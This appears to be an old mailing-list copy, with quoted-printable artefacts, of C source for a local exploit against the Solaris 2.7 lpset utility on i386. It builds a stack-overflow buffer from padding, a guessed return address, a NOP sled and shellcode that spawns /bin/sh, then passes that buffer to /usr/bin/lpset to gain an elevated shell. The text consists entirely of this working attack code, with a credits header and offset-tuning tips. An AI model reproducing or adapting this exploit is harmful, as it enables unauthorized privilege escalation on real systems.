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- /*=20
- *
- * solaris 2.7 lpset local exploit, i386.
- * discovered by: duke
- * not the same as on bt.
- * if exploit dosen=B4t work try offset from 300-450
- *
- * greets: duke, #!ADM, #!security.is, #hax
- *
- * DiGiT - teddi@linux.is
- *
- */
-
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- char shellcode[] =3D
- "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
- "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
- "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
- "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
- "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
- "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
-
- long get_esp() { __asm__("movl %esp,%eax"); }
-
- int main (int argc, char *argv[]) {
-
- long offset=3D410;
- int nop=3D64;
- int gab=3D40;
- long addr;
- char buffer[210];
- int i, a, b;
-
- if (argc > 1) offset =3D strtol(argv[1], NULL, 0);
- if (argc > 2) gab =3D strtol(argv[2], NULL, 0);
- if (argc > 3) nop =3D strtol(argv[2], NULL, 0);
-
- for (a =3D 0; a <gab; a++)
- buffer[a] =3D 'A';
-
- addr =3D get_esp() + offset;
-
- buffer[a++] =3D addr & 0x000000ff;
- buffer[a++] =3D (addr & 0x0000ff00) >> 8;
- buffer[a++] =3D (addr & 0x00ff0000) >> 16;
- buffer[a++] =3D (addr & 0xff000000) >> 24;
-
- for ( ; a < nop; a++)
- buffer[a] =3D 0x90;
-
- for (b =3D 0; b < strlen(shellcode); b++, a++)
- buffer[a] =3D shellcode[b];
-
- buffer[strlen(buffer)] =3D '\0';
-
- printf("addr =3D 0x%x\n", addr);
- execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
-
- }
-